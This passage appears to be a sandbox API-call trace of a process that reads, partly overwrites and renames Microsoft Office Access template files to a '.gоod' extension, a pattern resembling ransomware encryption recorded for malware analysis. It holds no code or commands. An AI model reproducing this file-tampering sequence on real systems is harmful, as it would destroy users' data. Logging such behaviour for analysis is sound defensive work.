lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Right.accdt", nBufferLength=0x105, lpBuffer=0x200eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Right.accdt", lpFilePart=0x0) returned 0x4f [0262.923] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Right.accdt.gоod", nBufferLength=0x105, lpBuffer=0x200eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Right.accdt.gоod", lpFilePart=0x0) returned 0x54 [0262.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb3f0) returned 1 [0262.923] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Right.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\1 right.accdt"), fInfoLevelId=0x0, lpFileInformation=0x200eb4d0 | out: lpFileInformation=0x200eb4d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5e373d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5e373d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x98ed48e8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5717)) returned 1 [0262.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb3b0) returned 1 [0262.923] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Right.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\1 right.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Right.accdt.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\1 right.accdt.gоod")) returned 1 [0262.925] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Top.accdt", nBufferLength=0x105, lpBuffer=0x200eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Top.accdt", lpFilePart=0x0) returned 0x4d [0262.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb430) returned 1 [0262.925] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Top.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\1 top.accdt"), fInfoLevelId=0x0, lpFileInformation=0x3a47da8 | out: lpFileInformation=0x3a47da8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5bd4f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5e373d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5644)) returned 1 [0262.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb3f0) returned 1 [0262.925] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Top.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Top.accdt", lpFilePart=0x0) returned 0x4d [0262.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0262.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Top.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\1 top.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0262.926] GetFileType (hFile=0x85c) returned 0x1 [0262.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0262.926] GetFileType (hFile=0x85c) returned 0x1 [0262.926] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200eb488*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200eb488*=0) returned 0x1000 [0262.926] ReadFile (in: hFile=0x85c, lpBuffer=0x3a481d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200eb458, lpOverlapped=0x0 | out: lpBuffer=0x3a481d0*, lpNumberOfBytesRead=0x200eb458*=0x1000, lpOverlapped=0x0) returned 1 [0263.050] CloseHandle (hObject=0x85c) returned 1 [0263.572] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Top.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Top.accdt", lpFilePart=0x0) returned 0x4d [0263.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0263.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Top.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\1 top.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0263.575] GetFileType (hFile=0x768) returned 0x1 [0263.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0263.576] GetFileType (hFile=0x768) returned 0x1 [0263.576] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x200eb488*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200eb488*=0) returned 0x5644 [0263.576] WriteFile (in: hFile=0x768, lpBuffer=0x3d72ab8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200eb378, lpOverlapped=0x0 | out: lpBuffer=0x3d72ab8*, lpNumberOfBytesWritten=0x200eb378*=0x10, lpOverlapped=0x0) returned 1 [0263.577] CloseHandle (hObject=0x768) returned 1 [0263.577] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Top.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Top.accdt", lpFilePart=0x0) returned 0x4d [0263.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0263.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Top.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\1 top.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0263.577] GetFileType (hFile=0x768) returned 0x1 [0263.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0263.577] GetFileType (hFile=0x768) returned 0x1 [0263.577] ReadFile (in: hFile=0x768, lpBuffer=0x3d74dd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200eb408, lpOverlapped=0x0 | out: lpBuffer=0x3d74dd0*, lpNumberOfBytesRead=0x200eb408*=0x1000, lpOverlapped=0x0) returned 1 [0263.606] CloseHandle (hObject=0x768) returned 1 [0263.606] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Top.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Top.accdt", lpFilePart=0x0) returned 0x4d [0263.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0263.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Top.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\1 top.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0263.607] GetFileType (hFile=0x768) returned 0x1 [0263.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0263.607] GetFileType (hFile=0x768) returned 0x1 [0263.607] WriteFile (in: hFile=0x768, lpBuffer=0x3d73b20*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200eb4b8, lpOverlapped=0x0 | out: lpBuffer=0x3d73b20*, lpNumberOfBytesWritten=0x200eb4b8*=0x1010, lpOverlapped=0x0) returned 1 [0263.607] CloseHandle (hObject=0x768) returned 1 [0263.607] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Top.accdt", nBufferLength=0x105, lpBuffer=0x200eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Top.accdt", lpFilePart=0x0) returned 0x4d [0263.607] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Top.accdt.gоod", nBufferLength=0x105, lpBuffer=0x200eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Top.accdt.gоod", lpFilePart=0x0) returned 0x52 [0263.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb3f0) returned 1 [0263.607] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Top.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\1 top.accdt"), fInfoLevelId=0x0, lpFileInformation=0x200eb4d0 | out: lpFileInformation=0x200eb4d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5bd4f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99563089, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5654)) returned 1 [0263.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb3b0) returned 1 [0263.607] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Top.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\1 top.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Top.accdt.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\1 top.accdt.gоod")) returned 1 [0263.608] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Right.accdt", nBufferLength=0x105, lpBuffer=0x200eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Right.accdt", lpFilePart=0x0) returned 0x4f [0263.608] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb430) returned 1 [0263.608] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Right.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\2 right.accdt"), fInfoLevelId=0x0, lpFileInformation=0x3df1368 | out: lpFileInformation=0x3df1368*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5e373d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5e373d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5e373d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x59a8)) returned 1 [0263.609] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb3f0) returned 1 [0263.609] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Right.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Right.accdt", lpFilePart=0x0) returned 0x4f [0263.609] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0263.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Right.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\2 right.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0263.609] GetFileType (hFile=0x768) returned 0x1 [0263.609] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0263.609] GetFileType (hFile=0x768) returned 0x1 [0263.609] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200eb488*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200eb488*=0) returned 0x1000 [0263.610] ReadFile (in: hFile=0x768, lpBuffer=0x3df17a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200eb458, lpOverlapped=0x0 | out: lpBuffer=0x3df17a0*, lpNumberOfBytesRead=0x200eb458*=0x1000, lpOverlapped=0x0) returned 1 [0263.856] CloseHandle (hObject=0x768) returned 1 [0263.856] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Right.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Right.accdt", lpFilePart=0x0) returned 0x4f [0263.856] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0263.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Right.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\2 right.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0263.856] GetFileType (hFile=0x768) returned 0x1 [0263.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0263.856] GetFileType (hFile=0x768) returned 0x1 [0263.856] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x200eb488*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200eb488*=0) returned 0x59a8 [0263.856] WriteFile (in: hFile=0x768, lpBuffer=0x39f88b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200eb378, lpOverlapped=0x0 | out: lpBuffer=0x39f88b0*, lpNumberOfBytesWritten=0x200eb378*=0x10, lpOverlapped=0x0) returned 1 [0263.858] CloseHandle (hObject=0x768) returned 1 [0263.858] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Right.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Right.accdt", lpFilePart=0x0) returned 0x4f [0263.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0263.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Right.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\2 right.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0263.858] GetFileType (hFile=0x768) returned 0x1 [0263.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0263.858] GetFileType (hFile=0x768) returned 0x1 [0263.858] ReadFile (in: hFile=0x768, lpBuffer=0x39fae80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200eb408, lpOverlapped=0x0 | out: lpBuffer=0x39fae80*, lpNumberOfBytesRead=0x200eb408*=0x1000, lpOverlapped=0x0) returned 1 [0265.017] CloseHandle (hObject=0x768) returned 1 [0265.017] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Right.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Right.accdt", lpFilePart=0x0) returned 0x4f [0265.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0265.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Right.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\2 right.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0265.017] GetFileType (hFile=0x768) returned 0x1 [0265.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0265.017] GetFileType (hFile=0x768) returned 0x1 [0265.017] WriteFile (in: hFile=0x768, lpBuffer=0x3709e48*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200eb4b8, lpOverlapped=0x0 | out: lpBuffer=0x3709e48*, lpNumberOfBytesWritten=0x200eb4b8*=0x1010, lpOverlapped=0x0) returned 1 [0265.017] CloseHandle (hObject=0x768) returned 1 [0265.017] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Right.accdt", nBufferLength=0x105, lpBuffer=0x200eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Right.accdt", lpFilePart=0x0) returned 0x4f [0265.017] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Right.accdt.gоod", nBufferLength=0x105, lpBuffer=0x200eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Right.accdt.gоod", lpFilePart=0x0) returned 0x54 [0265.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb3f0) returned 1 [0265.018] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Right.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\2 right.accdt"), fInfoLevelId=0x0, lpFileInformation=0x200eb4d0 | out: lpFileInformation=0x200eb4d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5e373d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5e373d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a2d0029, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x59b8)) returned 1 [0265.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb3b0) returned 1 [0265.018] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Right.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\2 right.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Right.accdt.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\2 right.accdt.gоod")) returned 1 [0265.019] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Top.accdt", nBufferLength=0x105, lpBuffer=0x200eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Top.accdt", lpFilePart=0x0) returned 0x4d [0265.019] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb430) returned 1 [0265.019] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Top.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\2 top.accdt"), fInfoLevelId=0x0, lpFileInformation=0x3953f28 | out: lpFileInformation=0x3953f28*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5bd4f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5e373d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x59dc)) returned 1 [0265.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb3f0) returned 1 [0265.019] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Top.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Top.accdt", lpFilePart=0x0) returned 0x4d [0265.019] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0265.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Top.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\2 top.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0265.020] GetFileType (hFile=0x768) returned 0x1 [0265.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0265.020] GetFileType (hFile=0x768) returned 0x1 [0265.020] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200eb488*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200eb488*=0) returned 0x1000 [0265.020] ReadFile (in: hFile=0x768, lpBuffer=0x3954350, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200eb458, lpOverlapped=0x0 | out: lpBuffer=0x3954350*, lpNumberOfBytesRead=0x200eb458*=0x1000, lpOverlapped=0x0) returned 1 [0265.148] CloseHandle (hObject=0x768) returned 1 [0265.148] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Top.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Top.accdt", lpFilePart=0x0) returned 0x4d [0265.148] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0265.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Top.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\2 top.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0265.149] GetFileType (hFile=0x768) returned 0x1 [0265.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0265.149] GetFileType (hFile=0x768) returned 0x1 [0265.149] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x200eb488*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200eb488*=0) returned 0x59dc [0265.149] WriteFile (in: hFile=0x768, lpBuffer=0x3870d70*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200eb378, lpOverlapped=0x0 | out: lpBuffer=0x3870d70*, lpNumberOfBytesWritten=0x200eb378*=0x10, lpOverlapped=0x0) returned 1 [0265.150] CloseHandle (hObject=0x768) returned 1 [0265.150] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Top.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Top.accdt", lpFilePart=0x0) returned 0x4d [0265.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0265.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Top.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\2 top.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0265.150] GetFileType (hFile=0x768) returned 0x1 [0265.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0265.150] GetFileType (hFile=0x768) returned 0x1 [0265.150] ReadFile (in: hFile=0x768, lpBuffer=0x3873038, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200eb408, lpOverlapped=0x0 | out: lpBuffer=0x3873038*, lpNumberOfBytesRead=0x200eb408*=0x1000, lpOverlapped=0x0) returned 1 [0265.179] CloseHandle (hObject=0x768) returned 1 [0265.179] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Top.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Top.accdt", lpFilePart=0x0) returned 0x4d [0265.179] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0265.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Top.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\2 top.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0265.179] GetFileType (hFile=0x768) returned 0x1 [0265.179] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0265.179] GetFileType (hFile=0x768) returned 0x1 [0265.179] WriteFile (in: hFile=0x768, lpBuffer=0x3871d88*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200eb4b8, lpOverlapped=0x0 | out: lpBuffer=0x3871d88*, lpNumberOfBytesWritten=0x200eb4b8*=0x1010, lpOverlapped=0x0) returned 1 [0265.179] CloseHandle (hObject=0x768) returned 1 [0265.179] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Top.accdt", nBufferLength=0x105, lpBuffer=0x200eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Top.accdt", lpFilePart=0x0) returned 0x4d [0265.179] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Top.accdt.gоod", nBufferLength=0x105, lpBuffer=0x200eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Top.accdt.gоod", lpFilePart=0x0) returned 0x52 [0265.179] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb3f0) returned 1 [0265.179] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Top.accdt" (normalized: 